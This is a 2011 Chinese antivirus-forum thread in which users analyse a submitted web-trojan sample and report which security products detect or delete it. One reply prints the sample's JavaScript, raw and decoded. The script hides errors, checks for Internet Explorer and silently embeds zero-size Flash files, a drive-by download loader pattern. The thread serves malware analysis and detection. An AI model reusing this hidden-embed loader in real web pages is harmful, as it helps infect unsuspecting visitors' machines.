本人最近学习网马看看这个非常规

显示全部楼层 · 发表于 2011-6-17 01:48:53

本帖最后由 tianyalianxin 于 2011-6-17 02:09 编辑

求分析！！！

显示全部楼层 · 发表于 2011-6-17 02:13:27

过360网盾，杀毒报。压缩率百分百，炸弹么……

显示全部楼层 · 发表于 2011-6-17 02:18:01

“JS/Dldr.Agent.TA [virus]”

显示全部楼层 · 发表于 2011-6-17 02:34:57

瑞星成功删除。

显示全部楼层 · 发表于 2011-6-17 05:54:13

本帖最后由 a256886572008 于 2011-6-17 05:55 编辑

裡面的內容

<script>
document.writeln("<script>function init(){window.status="";}window.onload = init;");
document.writeln("window.onerror=function(){return true;}");
document.writeln("");
document.writeln("if(navigator.userAgent.toLowerCase().indexOf("msie")>0)");
document.writeln("{");
document.writeln("document.write(\'<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">\');");
document.writeln("document.write(\'<param name="allowScriptAccess" value="sameDomain"\/>\');");
document.writeln("document.write(\'<param name="movie" value="ifff.swf"\/>\');");
document.writeln("document.write(\'<param name="quality" value="high"\/>\');");
document.writeln("document.write(\'<param name="bgcolor" value="#ffffff"\/>\');");
document.writeln("document.write(\'<embed src="ifff.swf"\/>\');");
document.writeln("document.write(\'<\/object>\');");
document.writeln("}");
document.writeln("else{document.write(\'<EMBED src="ffff.swf" width=0 height=0>\');}");
document.writeln("<\/script>")
</script>

复制代码

解碼

<script>
<script>function init(){window.status="";}window.onload = init;
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">
<param name="allowScriptAccess" value="sameDomain"/>
<param name="movie" value="ifff.swf"/>
<param name="quality" value="high"/>
<param name="bgcolor" value="#ffffff"/>
<embed src="ifff.swf"/>
</object>
}
else{<EMBED src="ffff.swf" width=0 height=0>}
</script>
</script>

复制代码

显示全部楼层 · 发表于 2011-6-17 08:09:11

木马卡巴KILL

显示全部楼层 · 发表于 2011-6-17 08:10:49

显示全部楼层 · 发表于 2011-6-17 08:18:25

过金山云鉴定，FSIS 2012两个文件全删...

显示全部楼层 · 发表于 2011-6-17 09:10:21

大蜘蛛clean，已上报。

显示全部楼层 · 发表于 2011-6-17 09:32:19

小A KILL

[病毒样本] 本人最近学习网马看看这个非常规